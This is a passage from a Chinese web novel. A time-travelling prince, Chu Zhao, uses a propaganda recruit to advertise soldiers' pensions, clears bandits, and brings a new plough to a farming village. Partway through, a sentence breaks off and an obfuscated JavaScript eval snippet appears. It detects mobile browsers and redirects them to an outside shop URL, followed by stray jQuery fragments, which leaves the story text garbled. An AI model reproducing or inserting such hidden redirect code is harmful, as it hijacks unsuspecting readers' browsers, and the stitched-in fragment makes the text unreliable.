老汉斜眼打量他,烟杆子往腰后一别,没好气地说:“感情被砍的不是你家娃!站着说话不腰疼!”


    那汉子也不恼,反而凑近些,压低声音道:“您还真别说,我二舅家的小表弟就在定远军当小队长。”


    “听他说,王爷还立了个什么伤亡抚恤金的规矩,要是真有战死的士兵,王爷还会给他追封为烈士。”


    “而对这些烈士的家属,王爷还会一次性发放二十贯银子!并且家属每个月都能去军营领二两银子,直到终老。”


    他环视一圈越聚越多的街坊,声音渐渐扬高:“这还不算,烈士家属还能优先去王爷建的工厂做工,每月稳拿二百文。除此之外,烈士子女还能免费上学,长大优先进王爷的军营和工厂!”


    刚才还要打人的老汉彻底愣住了,“嘶!”周围响起一片倒吸凉气的声音。


    “二…二十贯!?”纳鞋底的大娘猛地站起,针线篓子翻了一地,“你这后生,这话说的可是真的!?”


    那汉子一拍大腿:“千真万确!我要是扯谎,天打雷劈!”


    “哗!”人群顿时炸开了锅。


    那汉子得意地朝老汉扬扬下巴:“怎么样?我就说王爷厚道吧!”


    老汉不说话了,默默装了一锅烟,手指都有些激动得发抖。


    纳鞋底的大娘猛地一拍大腿,嗓门大的半条街都听得见:“哎哟我的老天爷!这哪是当兵,这是捧上金饭碗了!我这就回家让狗蛋准备准备!”


    那汉子笑道:“大娘您先别急,我听说王爷三个月后还要发布诏令,欲再招兵呢。你先让娃子把身子骨练结实些,到时候去应选也不迟。”


    刚才还要教训孙子的老汉此刻眼睛发亮,烟杆往腰后一别,急匆匆往家走,他孙子下个月就满十八了,可不得准备准备!


    而定远军待遇优渥的消息,一夜之间便传到了凉州城里的大街小巷甚至周边的乡野村庄。


    ...


    一大早,楚昭处理完军务,便命人将新兵阳永飞唤到帐中。


    此人几个月前刚入营,各项操练成绩平平,唯独一项本事格外扎眼。


    那就是太能说了!


    用楚昭前世的话讲,这人就是个“社牛”。


    阳永飞为人活络,只要有他在场,无论生人熟人,那张嘴总能叭叭个不停,天南海北就没有他接不上的话。


    从21世纪过来的楚昭比谁都清楚,一支强大的军队,光靠武器和拳头远远不够。


    舆论和人心,有时比刀剑更锋利。


    而恰到好处的宣传,能让敌人从内部瓦解,也能让百姓对军队的认同深入人心。


    而阳永飞,正是他眼下所需要的人才。


    正是看中了他的这项天赋,楚昭干脆在军中新设了一个宣传部,让阳永飞领着几个同样口齿伶俐的兵,在凉州城内外、乡野村庄间,看似随意实则精准地,将定远军待遇优厚的消息传播出去。


    他深知,欲成大事者,必先强其兵。


    眼下他的兵源,尤其是骑兵,数量太少!而西戎与北边匈奴的探子,已经在边境线上若隐若现,楚昭不能不防!


    只是这年头,大家特别排斥去当兵。有道是“好男不当兵”,寻常人家那是宁可饿着肚子,也不愿意进军营博个功名。


    正因如此,楚昭才更要借阳永飞之口,一步步扭转这深入人心的旧观念。


    今日唤他前来,正是想要听听最近这段时间宣传的效果。


    “王爷!”


    阳永飞一进帐就利落行礼,脸上是掩不住的兴奋。


    入伍前,他只是个在街上靠嘴皮子混饭吃的小混混,除了一张能说会道的嘴,几乎一无所长。正因为如此,二十岁了都还没娶上媳妇儿。


    只是他怎么也没想到,进了王爷的军营,有生之年,自己还能靠着这张嘴混口饭吃。


    现如今他什么都不想,只想铆足了劲,非要把王爷交代他的差事办得漂亮,好在楚昭心里留下好印象!


    而楚昭看着阳永飞的这副喜笑颜开、毫无拘束的样子,心底忍不住给他点了个赞。


    一般能在他面前如此放松的,要么是心无城府,要么就纯是胆子大。


    很显然,这小子属于后者。


    “差事办得不错!”楚昭先是表扬了一番,然后又顺手画起大饼,“好好干!要是后面成效显著,这宣传部的小队长一职,就是你的,到时候本王还会拨一队人马专门归你差遣。”


    ‘画大饼’这概念,目前在大楚还没开始流行。


    阳永飞听到这话,只感觉整个人都晕乎乎的飘了起来。


    他打死也想不到,自己就一个街头混混,竟还真能凭着耍嘴皮子的功夫,入了王爷的法眼,且日后还能有机会混上个有编制的小官当!


    越想越兴奋,阳永飞只觉得一股热血直冲头顶,激动得身子直颤,半天才想起自己还没回话,连忙“噗通”一声跪倒在地,声音洪亮,语气激动:


    “小的叩谢王爷栽培!定当竭尽全力,万死不辞,绝不负王爷今日厚望!”


    楚昭看到这一幕,忍不住暗自失笑,挥手就让他退下去了。帐帘落下的时候,他还能隐约听见外面传来一道极力压抑却仍泄露出来的欢呼声。


    *


    因为楚昭急着想拿到系统的奖励,他这一个月不是在剿匪就是在剿匪的路上。不过效果也很惊人,现如今凉州境内,可以说就连土匪的影子都见不到了。


    当然,这也未必全都是楚昭剿的,实在是他的杀名太盛,不少山头的土匪一听风声,连夜卷起那点薄薄家当,头也不回地奔出凉州地界,另寻生路去了。


    楚昭听到消息后,只觉得一阵肉痛!多好的存钱罐啊,既能练兵又为民除害,居然就这么跑了!


    他忍不住想,要是自己的地盘再大点儿就好了,那样岂不是有剿不完的……咳咳!他及时打住这个不太厚道的念头,摇了摇头。


    算了算了,好歹凉州百姓能睡个安稳觉了。


    拿着这到手的曲辕犁图纸,楚昭依着老习惯,临时重新誊抄了一份,然后就让人拿去城里,找个手艺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912878|192224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好的工匠做出来。


    三日后,楚昭一拿到曲辕犁,便带着亲卫直奔城郊的王家村。


    马车在官道上走着还算稳当,可一拐进乡间土路,整个车厢便剧烈摇晃起来,楚昭被颠得七荤八素,实在受不了,干脆叫停车夫,一把掀开车帘跳了下去。


    前一晚刚下了小雨,路上全都是坑坑洼洼的泥巴路。楚昭提着衣摆,深一脚浅一脚,走得十分狼狈。


    他一边小心落脚,一边摇头苦笑:要想富,先修路,古人诚不欺我也!


    就眼前这路,别说车马,人走着都费劲,也难怪这凉州经济一直发展不起来。以后要是有机会,一定要将水泥路铺上。


    日头正烈,老王头带着自家儿子在自家地里埋头苦干,锄头起落,扬起一阵阵黄土。


    “哒哒哒......”


    一阵清脆的马蹄声由远及近。


    王铁柱直起腰,眯着眼往村口一瞧,顿时惊呼:“爹!快看!那好像是城里贵人才坐得起的大马车!”


    “瞎嚷嚷啥!”老王头直起发酸的腰,抬手便给了王铁柱后脑勺来了一巴掌,“瞧你那没出息的样儿!”


    话虽这么说,他自己也忍不住往村口张望。


    只见一辆气派的马车正缓缓驶来,许是村路太过颠簸,车上的人索性下了车。更让老王头吃惊的是,那位衣着华贵的公子竟径直朝他们走来。


    “老人家,忙着呢?”那公子语气温和,脸上带着笑。


    老王头哪见过这般阵仗,他一下子就愣住了,张着嘴,手脚都不知该往哪儿摆。


    王铁柱见他爹愣神,忙扯他袖子提醒:“爹!人家公子问话呢!”


    “啊、啊是......”老王头这才回过神,“小老儿在翻…翻地哩。”


    王铁柱胆子大,见这公子说话和气,忍不住好奇道:“公子来咱们这小村子,是有啥事?”


    “闲来无事,下乡看看风景。”楚昭含笑答道。


    王铁柱听了挠挠头,心里直嘀咕:这城里来的贵人就是不一样,这黄土疙瘩的有啥好看的?


    倒是老王头活了这么些年,练出了几分看人的眼力。


    他瞧着眼前这位公子,相貌英俊,那通身的气派和举手投足间的从容,绝对就不是一般人所能拥有的。看到这里,老王头忍不住留了几个心眼。


    楚昭见他们拘谨,朝身后的小禄子使了个眼色。小禄子立即笑呵呵地掏出一锭银子:“老人家,我们家公子就是想看看地里的庄稼,这点心意......”


    “这可使不得!”老王头惊慌的连连摆手,“地就在这儿,你们想看就看,别踩坏了庄稼就成。”


    虽说他们庄稼人的日子过得穷苦,可到底也不是那等贪财之人,人家只是下地看看他们家的地,也不至于就要拿人家的银子。


    “!!!”


    王铁柱眼睁睁看着那么一大块银子从他爹眼前出现又离开,心疼得直抽抽。可他从小就听爹的话,爹这么干肯定是有道理的,当儿子的这会儿也只能憋着不敢吱声。